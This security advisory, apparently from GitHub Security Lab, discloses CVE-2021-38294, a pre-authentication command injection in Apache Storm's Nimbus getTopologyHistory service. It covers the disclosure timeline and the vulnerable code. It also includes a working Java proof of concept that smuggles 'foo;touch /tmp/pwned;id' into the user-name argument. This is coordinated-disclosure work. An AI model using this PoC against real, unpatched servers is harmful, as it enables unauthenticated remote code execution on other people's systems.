Coordinated Disclosure Timeline
- 2021-06-03: Sent report to security@apache.org
- 2021-09-20: Apache shares candidate patch with us. Fix will get released as part of Apache Storm version 2.3.0 (planned to be release by September 30, 2021). Three additional releases, 2.2.1, 2.1.1, and 1.2.4 will follow.
- 2021-10-25: Advisories are published by Apache
Summary
A Command Injection vulnerability exists in the getTopologyHistory
service of the Apache Storm Nimbus server allowing pre-auth Remote Code Execution (RCE)
Product
Apache Storm
Tested Version
2.2.0
Details
Nimbus runs on top of a Thrift server which exposes a number of services on port 6627. By default, Storm does not set up any authentication and any user can connect to these services.
We found that getTopologyHistory
service is vulnerable to a Command Injection vulnerability leading to RCE. A user-supplied user name is concatenated into a shell command that is later executed:
ShellBasedGroupsMapping.getUnixGroups
private Set<String> getUnixGroups(final String user) throws IOException {
String result;
try {
result = shellCommandRunner.execCommand(ShellUtils.getGroupsForUserCommand(user));
} catch (ExitCodeException e) {
// if we didn't get the group - just return empty list;
LOG.debug("Unable to get groups for user " + user + ". ShellUtils command failed with exit code " + e.getExitCode());
return new HashSet<>();
}
Set<String> groups = new HashSet<>();
for (String group : result.split(shellCommandRunner.getTokenSeparatorRegex())) {
groups.add(group);
}
return groups;
}
ShellUtils.getGroupsForUserCommand
public static String[] getGroupsForUserCommand(final String user) {
if (WINDOWS) {
throw new UnsupportedOperationException("Getting user groups is not supported on Windows");
}
//'groups username' command return is non-consistent across different unixes
return new String[]{
"bash", "-c", "id -gn " + user
+ "&& id -Gn " + user
};
}
The stacktrace for the request is:
getGroupsForUserCommand:124, ShellUtils (org.apache.storm.utils)
getUnixGroups:110, ShellBasedGroupsMapping (org.apache.storm.security.auth)
getGroups:77, ShellBasedGroupsMapping (org.apache.storm.security.auth)
userGroups:2832, Nimbus (org.apache.storm.daemon.nimbus)
isUserPartOf:2845, Nimbus (org.apache.storm.daemon.nimbus)
getTopologyHistory:4607, Nimbus (org.apache.storm.daemon.nimbus)
getResult:4701, Nimbus$Processor$getTopologyHistory (org.apache.storm.generated)
getResult:4680, Nimbus$Processor$getTopologyHistory (org.apache.storm.generated)
process:38, ProcessFunction (org.apache.storm.thrift)
process:38, TBaseProcessor (org.apache.storm.thrift)
process:172, SimpleTransportPlugin$SimpleWrapProcessor (org.apache.storm.security.auth)
invoke:524, AbstractNonblockingServer$FrameBuffer (org.apache.storm.thrift.server)
run:18, Invocation (org.apache.storm.thrift.server)
runWorker:-1, ThreadPoolExecutor (java.util.concurrent)
run:-1, ThreadPoolExecutor$Worker (java.util.concurrent)
run:-1, Thread (java.lang)
An attacker can execute arbitrary system commands by supplying a user name such as:
user = "foo;touch /tmp/pwned;id "
This vulnerability requires no special privileges since the getTopologyHistory
service does not call checkAuthorization
.
PoC
import org.apache.storm.utils.NimbusClient;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
public class ThriftClient {
public static void main(String[] args) throws Exception {
HashMap config = new HashMap();
List<String> seeds = new ArrayList<String>();
seeds.add("localhost");
config.put("storm.thrift.transport", "org.apache.storm.security.auth.SimpleTransportPlugin");
config.put("storm.thrift.socket.timeout.ms", 60000);
config.put("nimbus.seeds", seeds);
config.put("storm.nimbus.retry.times", 5);
config.put("storm.nimbus.retry.interval.millis", 2000);
config.put("storm.nimbus.retry.intervalceiling.millis", 60000);
config.put("nimbus.thrift.port", 6627);
config.put("nimbus.thrift.max_buffer_size", 1048576);
config.put("nimbus.thrift.threads", 64);
NimbusClient nimbusClient = new NimbusClient(config, "localhost", 6627);
// send attack
nimbusClient.getClient().getTopologyHistory("foo;touch /tmp/pwned;id ");
}
}
Impact
This issue may lead to pre-auth RCE
.
CVE
- CVE-2021-38294
Resources
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-085
in any communication regarding this issue.